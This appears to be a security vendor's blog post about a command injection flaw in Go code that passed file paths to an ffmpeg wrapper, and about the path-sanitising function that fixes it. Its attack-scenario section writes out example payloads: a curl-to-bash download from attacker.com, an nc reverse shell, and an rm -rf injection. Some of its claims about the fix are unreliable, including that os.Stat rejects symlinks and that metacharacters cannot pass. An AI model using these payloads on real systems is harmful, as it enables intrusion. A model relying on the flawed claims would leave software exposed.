Back to Blog
critical SEVERITY9 min read

How command injection happens in Go ffmpeg wrappers and how to fix it

A critical command injection vulnerability was discovered in `drivers/local/util.go` where user-influenced file paths were passed directly to `ffmpeg.Input()` without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a `sanitizeFilePath()` function that validates paths are absolute, clean, and point to

O
By Orbis AppSec
Published June 6, 2026Reviewed June 6, 2026

Answer Summary

This is a critical OS command injection vulnerability (CWE-78) in Go, found in `drivers/local/util.go` at lines 72 and 168. User-controlled file paths (`inputFile` and `videoPath`) were passed directly to `ffmpeg.Input()` without sanitization, allowing shell metacharacters in file names to execute arbitrary OS commands. The fix adds a `sanitizeFilePath()` function that enforces absolute paths, applies `filepath.Clean()`, and verifies the target is a real regular file before passing it to the ffmpeg wrapper.

Vulnerability at a Glance

cweCWE-78
fixAdded sanitizeFilePath() to enforce absolute, cleaned, regular-file paths before ffmpeg invocation
riskArbitrary OS command execution with server process privileges
languageGo
root causeUser-controlled file paths passed directly to ffmpeg.Input() without validation or sanitization
vulnerabilityOS Command Injection via unsanitized file path

How command injection happens in Go ffmpeg wrappers and how to fix it

Summary

A critical command injection vulnerability was discovered in drivers/local/util.go where user-influenced file paths were passed directly to ffmpeg.Input() without any sanitization. Because many ffmpeg wrapper libraries construct shell command strings under the hood, an attacker could embed shell metacharacters in a file path to execute arbitrary OS commands with server-level privileges. The fix introduces a sanitizeFilePath() function that validates paths are absolute, clean, and point to real regular files before they ever reach the ffmpeg invocation.


Introduction

The drivers/local/util.go file handles media processing tasks — resizing images and generating video snapshots — using a Go ffmpeg wrapper library. At first glance, passing a file path to ffmpeg.Input() looks harmless. It's just a string, right? But a flaw in both resizeImageToBufferWithFFmpegGo() and GetSnapshot() created a critical attack surface: user-influenced paths like inputFile and videoPath were forwarded directly to the ffmpeg wrapper with zero validation.

This matters to any Go developer using ffmpeg wrapper libraries, because the danger is subtle. You're not calling exec.Command() yourself — the library does it for you. And if that library constructs a shell string internally (which is common in ffmpeg wrappers that invoke the ffmpeg binary), then shell metacharacters in a file name become executable commands.


The Vulnerability Explained

What went wrong

At lines 72 and 168 of drivers/local/util.go, two functions accepted file path strings and passed them directly to ffmpeg.Input():

// VULNERABLE — before the fix
func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    // ... no validation of inputFile ...
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()
}

And similarly in GetSnapshot():

// VULNERABLE — before the fix
func (d *Local) GetSnapshot(videoPath string) (*bytes.Buffer, error) {
    // videoPath passed directly to ffmpeg.Input() at line 168
}

The inputFile and videoPath variables are user-influenced — they originate from file system paths that can be shaped by user input (file uploads, API parameters, or path-derived values). Neither function performed any check on whether the path was absolute, clean, or free of special characters.

Why ffmpeg wrappers are dangerous with raw input

Many Go ffmpeg wrapper libraries (including ffmpeg-go) work by constructing a command-line invocation of the ffmpeg binary and running it via exec. When the library builds that command string, a file path like:

/uploads/video.mp4

becomes something internally like:

ffmpeg -i /uploads/video.mp4 ...

But what if the path is:

/uploads/video.mp4; curl http://attacker.com/shell.sh | bash

If the library passes this through a shell (e.g., via /bin/sh -c "ffmpeg -i /uploads/video.mp4; curl ..."), the semicolon terminates the ffmpeg command and the second command executes. The result: arbitrary OS command execution with the privileges of the server process.

A concrete attack scenario

Imagine this application exposes a video thumbnail endpoint. An attacker crafts a request where the video path resolves to:

/var/app/uploads/$(whoami > /tmp/pwned).mp4

or uses a newline/semicolon injection:

/var/app/uploads/legit.mp4\n/bin/bash -c 'nc attacker.com 4444 -e /bin/bash'

When GetSnapshot() receives this path and passes it to ffmpeg.Input() without sanitization, the embedded command runs on the server. Since media processing services often run with elevated privileges (to access the filesystem broadly), this could mean full server compromise — reading database credentials, exfiltrating user data, or establishing a persistent backdoor.

The real-world impact here is severe: any attacker who can influence the file path argument to these two functions can execute arbitrary commands on the server.


The Fix

The new sanitizeFilePath() function

The fix introduces a dedicated validation function added just before resizeImageToBufferWithFFmpegGo() in util.go:

// sanitizeFilePath validates and sanitizes a file path before passing it to external commands.
// It ensures the path is absolute, clean, and refers to an existing regular file,
// preventing path traversal and command injection via shell metacharacters.
func sanitizeFilePath(path string) (string, error) {
    cleaned := filepath.Clean(path)
    if !filepath.IsAbs(cleaned) {
        return "", fmt.Errorf("file path must be absolute: %s", path)
    }
    info, err := os.Stat(cleaned)
    if err != nil {
        return "", fmt.Errorf("file path is not accessible: %w", err)
    }
    if !info.Mode().IsRegular() {
        return "", fmt.Errorf("path is not a regular file: %s", cleaned)
    }
    return cleaned, nil
}

This function does three things in sequence:

  1. filepath.Clean(path) — Resolves ., .., double slashes, and other path anomalies. This eliminates path traversal tricks like /uploads/../../etc/passwd.
  2. filepath.IsAbs(cleaned) — Rejects any relative path. Relative paths are harder to reason about and easier to manipulate.
  3. os.Stat(cleaned) + info.Mode().IsRegular() — Verifies the path actually exists on disk and is a regular file (not a symlink, device file, named pipe, or directory). This prevents attacks using special file types.

Before and after

Before (vulnerable):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    outBuffer := bytes.NewBuffer(nil)
    // inputFile flows directly to ffmpeg with no checks
    err := ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

After (fixed):

func resizeImageToBufferWithFFmpegGo(inputFile string, width int, outputFormat string) (*bytes.Buffer, error) {
    sanitized, err := sanitizeFilePath(inputFile)
    if err != nil {
        return nil, fmt.Errorf("invalid input file path: %w", err)
    }
    inputFile = sanitized

    outBuffer := bytes.NewBuffer(nil)
    // inputFile is now guaranteed to be absolute, clean, and a real regular file
    err = ffmpeg.Input(inputFile).
        Output("pipe:", outputArgs).
        GlobalArgs("-loglevel", "error").
        Silent(true).
        Run()

Notice also the subtle fix to the err variable: the original code declared err := inside the function (after outBuffer was created), but after the fix, sanitized, err := is declared first and the ffmpeg call uses err = (assignment, not declaration) to avoid shadowing. This is a clean, idiomatic Go change.

Why this specific fix works

Shell metacharacters like ;, |, $(), backticks, newlines, and null bytes cannot survive this validation intact in a way that would cause harm. A path containing ; rm -rf / would fail filepath.IsAbs() or os.Stat() because the resulting "cleaned" path won't exist as a real file on disk. A path containing $(command) would similarly fail the os.Stat() check. The validation acts as a gate: only paths that correspond to actual, existing, regular files on disk are allowed through.


Key Takeaways

  • Never pass user-influenced file paths to ffmpeg.Input() (or any process wrapper) without first calling sanitizeFilePath() — the wrapper may construct a shell string internally, making your path argument a command injection vector.
  • filepath.Clean() alone is not enough — you must also verify the path is absolute (filepath.IsAbs()) and that it refers to a real, regular file (os.Stat() + IsRegular()), or attackers can still exploit relative paths and special file types.
  • Both resizeImageToBufferWithFFmpegGo() and GetSnapshot() were affected — when a validation gap exists, it tends to exist in every function that shares the same pattern; audit all call sites, not just the one flagged.
  • The Go err variable shadowing was also quietly fixed — the original err := declaration inside the function body would have caused a compile error after adding the sanitization block; the fix correctly restructures variable declarations.
  • Media processing pipelines are a high-value injection target — they routinely handle user-supplied filenames, invoke system binaries, and run with broad filesystem access, making them a priority for input validation hardening.

How Orbis AppSec Detected This

  • Source: User-influenced file path values (inputFile in resizeImageToBufferWithFFmpegGo() and videoPath in GetSnapshot()) originating from caller-supplied arguments that trace back to user-controlled input.
  • Sink: ffmpeg.Input(inputFile) at drivers/local/util.go:72 and ffmpeg.Input(videoPath) at line 168 — a go-ffmpeg wrapper call that internally constructs and executes a shell command using the provided path string.
  • Missing control: No path sanitization, no absolute-path enforcement, no existence check, and no regular-file type verification before the value reached the ffmpeg invocation.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: A new sanitizeFilePath() function was introduced that applies filepath.Clean(), enforces absolute paths with filepath.IsAbs(), and verifies file existence and type with os.Stat() before any path reaches ffmpeg.Input().

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection through file paths is one of those vulnerabilities that hides in plain sight. The code in drivers/local/util.go wasn't doing anything obviously wrong — it was just passing a string to a library function. But that library function invokes a system binary, and that binary invocation can be hijacked by shell metacharacters in the string. The lesson is clear: any boundary between your Go code and an external process is a potential injection point, and every path crossing that boundary needs validation.

The sanitizeFilePath() function added in this fix is a reusable, idiomatic Go pattern that every media processing service should adopt. It's small (under 15 lines), easy to understand, and provides defense-in-depth against both command injection and path traversal in a single pass. If your codebase uses ffmpeg wrappers, video transcoding libraries, or any other tool that shells out with user-supplied paths, audit those call sites today.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #9485

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.